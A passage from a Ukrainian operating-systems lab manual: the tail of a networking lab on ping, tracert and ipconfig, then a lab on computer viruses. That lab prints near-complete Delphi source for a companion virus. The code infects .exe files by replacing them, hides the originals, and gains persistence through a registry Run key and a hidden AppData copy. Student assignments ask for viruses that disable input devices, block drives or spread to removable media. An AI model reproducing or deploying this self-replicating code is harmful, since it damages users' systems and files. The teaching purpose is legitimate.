p - задає час очікування між послідовними перевірками
зв'язку;
q - вказує кількість повідомлень з Echo-запитом, відправлених
кожному маршрутізатору шляху (по промовчуванню - 100);
w - визначає час очікування для отримання Echo-відповідей
протоколу ICMP або ICMP-повідомлень про закінчення часу в
мілісекундах, які відповідають даному повідомленню Echo-запиту.
Значення за замовчуванням 4 секунди;
4 - визначає примусове використання протоколу IP версії 4;
6 - визначає примусове використання протоколу IP версії 6.
6.1.5. Трасування
Визначення. Tracert - службова комп'ютерна програма,
призначена для визначення маршрутів прямування даних в мережах
TCP / IP.
Запуск програми здійснюється з командного рядка. У вікні
командного рядка необхідно прописати tracert ya.ru.
Команда Tracert має наступні параметри:
d - не визначати доменні імена маршрутизаторів
h <значення-> - встановити максимальну кількість переходів;
w <значення> - встановити максимальний час очікування
відповіді (в мілісекундах).
49
Трасування маршруту допомагає визначити проблемний
вузол. Якщо дані проходять нормально і гальмуються на самому
пункті призначення, то проблема з сайтом. Якщо трасування маршруту
припиняється на середині шляху, то проблема в одному з проміжних
маршрутизаторів. Якщо проходження пакетів припиняється в межах
мережі провайдера - то і проблему потрібно вирішувати локально.
Завдання на лабораторну роботу
1. Використовуючи команду ipconfig і її параметр / all,
виведіть інформацію про комп'ютер і мережеві підключення. Потім
вимкніть мережеві підключення і використовуйте команду ipconfig ще
раз. Порівняйте лістинг програми з попереднім і зробіть висновки.
2. Використовуючи команду winipcfg, отримаєте відомості про
мережевих підключення.
3. За допомогою команди ping перевірте, чи правильно
підключено протокол TCP \ IP.
4. За допомогою команди ping перевірте видимість локального
комп'ютера і найближчого комп'ютера мережі.
5. Використовуючи команду tracert, отримаєте відомості про
мережеві підключення.
6. Використовуючи команду route print, виведіть таблицю
маршрутів TCP / IP-протоколів.
7. Використовуючи команду net send, перевірте зв'язок з одним
з користувачів мережі.
8. Використовуючи команду net send, перевірте зв'язок з усіма
користувача-ми мережі.
Контрольні питання
1. Що таке утиліти Windows?
2. Для чого потрібна системна команда ping? Якими
параметрами володіє команда ping?
3. Порівняйте отримані результати від використання команд
ipconfig і команди winipcfg. Розкажіть, в чому відмінність цих команд.
4. Що таке трасування?
Література: [1; 3; 7]
50
Лабораторна робота № 7
ЗАСОБИ ЗАХИСТУ ОПЕРАЦІЙНОЇ СИСТЕМИ.
КОМП'ЮТЕРНІ ВІРУСИ
Мета роботи: познайомитися з
найпростіших виру-сов, навчитися їх усувати.
принципами
роботи
7.1. Короткі теоретичні відомості
7.1.1. Впровадження вірусу в файл.
Визначення. Вірус - програма, здатна до самовідтворення.
Серед усього розмаїття вірусів можна виділити наступні
основні групи:
завантажувальні;
- Файлові;
- Файлово-завантажувальні;
- Поліморфні віруси;
- Стелс-віруси;
- Троянські коні, програмні закладки та мережеві черв'яки.
Більш докладно зупинимося на категорії файлових вірусів.
Файлові віруси при своєму розмноженні тим або іншим способом
використовують файлову систему будь-якої операційної системи (ОС).
За способом зараження файлів віруси діляться:
- На перезаписуючі (overwriting);
- Паразитичні (parasitic);
- Віруси-компаньйони (companion);
- Віруси-посилання (link);
- Віруси, що заражають об'єктні модулі (OBJ);
- Віруси, що заражають бібліотеки компіляторів (LIB);
- Віруси, що заражають вихідні тексти програм.
Впровадження вірусу в початок файлу. Існує кілька способів
впровадження файлового вірусу в початок файлу. Перший спосіб
полягає в тому, що вірус початок файлу, що заражається переписує в
його кінець, а сам копіюється в місце, що звільнилося. Другий спосіб
полягає в тому, що вірус дописує заражає файл до свого тіла.
51
Впровадження вірусу в кінець файлу. Впровадженням вірусу в
файл, може бути дописування вірусу в його кінець. У цьому випадку
вірус змінює початок файлу таким чином, що першими виконуваними
командами програми, що міститься у файлі, є команди вірусу.
Для того щоб отримати управління при старті файлу, вірус
корегує стартову адресу програми (адреса точки входу). Для цього
вірус виконує необхідні зміни в заголовку файлу.
Впровадження вірусу в середину файлу. Існують кілька
методів впровадження вірусу в середину файлу. У найбільш простому
з них вірус переносить частина файлу в його кінець або «розсовує»
файл і записує свій код в простір, що звільнився.
Другим розглянемо метод «cavity», при якому вірус
записується в свідомо невикористовувані області файлу.
Крім того, копіювання вірусу в середину файлу може статися в
результаті помилки вірусу, в цьому випадку файл може бути
незворотно зіпсований.
Віруси без точки входу. Окремо слід відзначити групу вірусів,
що не мають «точки входу» (EPO-віруси - Entry Point Obscuring
viruses). До них відносяться віруси, що не змінюють адресу точки
старту в заголовку EXE-файлів.
Companion. До «companion» відносяться віруси, що не
змінюють заражуваних файлів. Алгоритм роботи цих вірусів полягає в
тому, що для зараження файлу створюється файл-двійник, причому
при запуску зараженого файлу управління отримує саме цей двійник,
тобто вірус.
Наприклад, файл NOTEPAD.EXE перейменовується в
NOTEPAD.EXD, а вірус записується під ім'ям NOTEPAD.EXE. При
запуску управління отримує код вірусу, який потім запускає
оригінальний NOTEPAD.
7.1.2. Основні функції вірусів категорії Companion
Інфікування файлів. Для початку вірусу потрібно знайти
файли, які будуть замінені на його власні копії. Зробити це можна
приблизно так:
PROCEDURE INFECTFILES; //Процедура-інфектор
begin
52
//Знаходимо виконуваний файл в робочому каталозі
result:= FindFirst (WorkDir+'*.exe',faAnyFile,client);
WHILE Result= 0 DO //Якщо найшли то...
begin //перевірка на зараження
Infected:= false;
// якщо дата- 10.09.14 і час 6.00, то файл заражений і нам не потрібен
IF DateTimeToStr (FileDateToDateTime (fileage (WorkDir+client.name)))=
'10.09.14 06:00:00' then infected:= true;
//перевірено
// якщо знайдений не наш файл і не заражений файл, то...
IF (client.name<>sr.name) and (infected= false) and
(client.name<>'mvpv.exe') and (client.name<>'MailAgent.exe')
and (client.name<>'ars.exe') then….
Вище показано, як знаходять все файли з розширенням «ЕXE»
в каталозі, заданому константою WorkDir, перевіряють у них наявність
мітки зараження (в нашому випадку - дата і час), і перевіряють, чи не
себе знайшли (mvpv, MailAgent, ars - всі ці імена будуть вважатися
своїми).
Тепер, коли файл знайдений, необхідно придумати йому нове
ім'я і переписати себе на його старе місце:
// Складемо нове ім'я;
begin
Name[1]:= inttostr (random(10));
Name[2]:= inttostr (random(10));
Name[3]:= inttostr (random(10));
Name[4]:= inttostr (random(10));
Name[5]:= inttostr (random(10));
Name[6]:= inttostr (random(10));
Name[7]:= inttostr (random(10));
Name[8]:= inttostr (random(10));
Ext [1]:= inttostr (random(10));
Ext [2]:= inttostr (random(10));
Ext [3]:= inttostr (random(10));
NewName:=
name[1]+name[2]+name[3]+name[4]+name[5]+name[6]+name[7]+
name[8]+'.'+ext[1]+ext[2]+ext[3]; // компонуємо нове ім'я
// Зв'яжемося з нашим зараженим файлом
AssignFile (Kill,WorkDir+client.name);
// Відправимо файл на пошук інших аналогічних файлів, з
унікальним ім'ям
ReName (Kill,WorkDir+'temp\'+NewName);
FileSetAttr (WorkDir+'temp\'+NewName,faHidden);
53
// Фіксуємо нове ім'я в каталозі
Info:= TIniFile.create (WorkDir+'set.dat');
WiTh info do
begin
// Пишемо дані з каталогу у вигляді Початкове Ім'я файлу = Нове
Ім'я_файлу
WriteString ('FILELIST',client.name,NewName);
free;
end;
//Заражаемо файл
// Відкриваємо на читання
virus:= TFileStream.create (WorkDir+'mvpv.exe',fmOpenRead);
Virus.Read (vir,VirLen); //Читаем вирус полностью
// Якщо клієнт більше нашого файлу, але не більше ніж удвічі,
IF (Client.Size>VirLen) AnD ((Client.Size-VirLen)<=VirLen) then
// то порівняти розміри
begin
Virus.Position:= 1; //Рамка зчитування- зпочатку
Virus.Read (Dovesok,Client.Size-VirLen);
end;
// перепишемо заражений файл по-нашому
zertva:= TFileStream.create (WorkDir+client.name,fmCreate);
zertva.Write (vir,virlen); // Запишемо себе в заражений файл
IF (client.size>virlen) AND ((Client.size-VirLen)<=VirLen) then
zertva.write (dovesok,client.size-virlen);
Birth:= StrToDateTime ('09.08.83 06:00:00');
// поставимо зараженому файлу індикатор зараженості
FileSetDate(Zertva.Handle,DateTimeToFileDate (birth));
Zertva.FREE; // Відпускаємо заражений файл
Virus.FREE;
end;
Result:= FindNEXT (Client); // Шукаємо наступний файл з
розширенням *.exe
end; end;
Для коректної роботи потрібна функція копіювання файлів:
function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var
F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
54
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result:=ShFileOperation(F) = 0;
end;
Вірус можна прописати в автозавантаження комп'ютера, а щоб
знати напевно, перший чи це запуск вірусу на комп'ютері, можна
зробити процедуру реєстрації на комп'ютері. Для цього створимо
спеціальний файл:
PROCEDURE REGISTRATION;
begin
MkDir (WorkDir+'temp\');
AssignFile (check,WorkDir+'present.dat');
FileSetAttr(WorkDir+'present.dat',faHidden);
Info:= TIniFile.Create (WorkDir+'\set.dat');
info.WriteString('1','1','1');
// FileSetAttr(WorkDir+'set.dat',faHidden);
ReWrite (check);
WriteLn (check,Это я');
WriteLn (check,'Я вирус');
CloseFile (check);
par:= ParamStr (0);
WindowsCopyFile (Par,WorkDir+'\mvpv.exe');
AssignFile (winvir,WorkDir+sr.name);
if not fileexists(WorkDir+'\mvpv.exe') then
ReName (winvir,WorkDir+'\mvpv.exe');
FileSetAttr (WorkDir+'mvpv.exe',faHidden);
FileSetAttr(WorkDir+'present.dat',faHidden);
Reg:= TRegistry.Create;
With Reg do
begin
rootkey:=HKEY_CURRENT_USER;
OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders',true);
InstallDir:=ReadString('AppData');
if not FileExists( InstallDir+'\MailAgent.exe') then
WindowsCopyFile(Paramstr(0),InstallDir+'\MailAgent.exe');
CloseKey;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) ;
WriteString ('Startup service',InstallDir+'\MailAgent.exe');
FileSetAttr(InstallDir+'\MailAgent.exe',faHidden);
CloseKey;
reg.Free;
end;
end;
55
Після цього необхідно запускати оригінали файлів при
зверненні до них. Це можна реалізувати наступним чином:
// Процедура виконання оригінальної програми
PROCEDURE EXECPROGRAM;
begin
Info:= TIniFile.Create (WorkDir+'set.dat'); // Перегляд каталогу
FromF:= Info.ReadString ('FILELIST',Sr.Name,'NewName');
//Поиск в каталоге нужного файла
WindowsCopyFile (WorkDir+'temp\'+FromF,WorkDir);
AssignFile (NewProga,WorkDir+FromF);
ReName (NewProga,WorkDir+'_'+Sr.Name); // створення додаткового файлу
PR:= WorkDir+'_'+Sr.Name;
Info.Free;
// Запуск створеного файлу
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
Pr:= Pr+#0;
Createprocess(nil,@Pr[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
AssignFile(slay,pr);
Erase(slay);
end;
Таким чином, програма-оригінал відновиться, запуститься і
відразу ж після закриття видалиться знову. Пропишемо основне тіло
програми:
begin
FindFirst (ParamStr(0),faAnyFile,sr);
AssignFile (check,WorkDir+'present.dat');
Reset (check);
IF IOresult <>0 then // Якщо ваш файл не знайдений, то будемо
реєструвати
begin
REGISTRATION;
INFECTFILES;
56
halt;
end;
IF
(sr.name=
'mvpv.exe')or(sr.Name
'MailAgent.exe')or(client.name='ars.exe') then
Begin // Якщо запущено вірус НЕ як заражений файл
INFECTFILES;
halt;
end;
// В іншому випадку …
INFECTFILES;
EXECPROGRAM;
end.
=
Для успішної роботи проекту необхідний список глобальних
змінних:
{$I-}
{$D-}
program mvpv;
uses
sysutils,
windows,
registry,
classes,
shellapi,
inifiles;
Const VIRLEN= 106496; // Розмір тіла вірусу. При необхідності,
змінити
var
WorkDir: string = 'C:\inf\';
zertva,virus : TFileStream;
vir,dovesok : array [1..VirLen] OF Char;
result : integer;
client,sr : TSearchRec;
Name : array [1..8] Of String;
Ext : array [1..3] Of String;
Info : TINIFILE;
NewName,pr,par,FromF : string;
Birth : TDateTime;
kill,slay,winvir,NewProga : file;
infected : boolean;
check : textfile;
si : Tstartupinfo;
p : Tprocessinformation;
reg : TRegistry;
57
Завдання на лабораторну роботу
№
Завдання
Варіанту
Вірус копіює себе на змінні носії і прописує себе до них в
1
автозапуск
Через деякий час після початку роботи відключається
2
миша
3
Кнопки миші періодично міняються місцями
Час від часу на робочому столі з'являються написи і / або
4
малюнки
5
Час від часу гасне монітор
Вірус періодично відкриває Блокнот і виводить в нього
6
текст
Вірус видаляє в меню Пуск Вихід із системи, приховує
7
Виконати, Панель управління, Мій комп'ютер і Мережеві
підключення
8
Вірус забороняє доступ до логічного диска, наприклад С
Вірус змінює напис на кнопці Пуск, а потім зовсім її
9
приховує
10
Вірус перейменовує кошик і змінює підказку для неї
11
Обмежити рух курсора певною областю екрана
Через деякий час після початку роботи відключається
12
клавіатура
13
Вірус поширюється по всій пам'яті, забиваючи її повністю
Підвищує звук незалежно від того, регулює користувач
14
його чи ні
15
Вірус змінює дату, яка в підсумку залишається постійною
16
Вірус час від часу закриває поточне вікно
17
Курсор миші «пропадає» з екрану
18
Приховати меню «Завершення роботи» в меню «Пуск»
19
Заборонити виклик контекстного меню
20
Обмежити доступ до редактора реєстру
Контрольні питання
1. Що таке вірус?
2. Яким чином комп'ютер заражається вірусом?
3. Як можна класифікувати віруси?
58
4. Що являють собою файлові віруси?
5. Які різновиди файлових вірусів вам відомі?
6. Якими способами можна ставити вірус стартувати при
запуску системи?
7. Чим характеризуються компаньйон-віруси?
8. Які способи впровадження в файли використовують
паразитичні віруси?
9. Яке умова спрацьовування вірусів без точки входу?
10. Які ще способи зараження ви знаєте?
Література: [4; 5; 6]
59
Література
1. Шеховцов В.А. Операційні системи. / В.А. Шеховцов - К:
Видавнича група ВНУ, 2005. - 576 с.
2. Бондаренко М.Ф. Операційні системи: навчальний посібник.
/ М.Ф. Бондаренко, О.Г. Качко - Харків: Компанія СМІТ, 2008 - 432 с.
3. Таненбаум Э. Современные операционные системы. / Є.
Таненбаум, Бос Х. 4-е изд. - СПб.: Питер, 2015. -1120 с. '
4. Таненбаум Э. Операционные системы: разработка и
реализация. / Э. Таненбаум, А. Вудхалл Классика СБ. — СПб.: Питер,
2006. — 576 с.
5. Храпский С. Ф. Операционные системы, среды и оболочки.
Основные теоретические сведения: Учебное пособие. / С. Ф. Храпский
- Омск: ОГИС, 2005. - 268 с.
6. Партыка Т.Л., Попов П.П. Операционные системы, среды и
оболочки. Учебное пособие. / Т.Л. Партыка, П.П. Попов - М. ФОРУМ:
ИНФРА-М, 2004 - 400 с.
7. Олифер В.Г. Сетевые операционные системы / В.Г. Олифер,
Н.А. Олифер. – СПб. : Питер, 2009. – 672с.
60
Download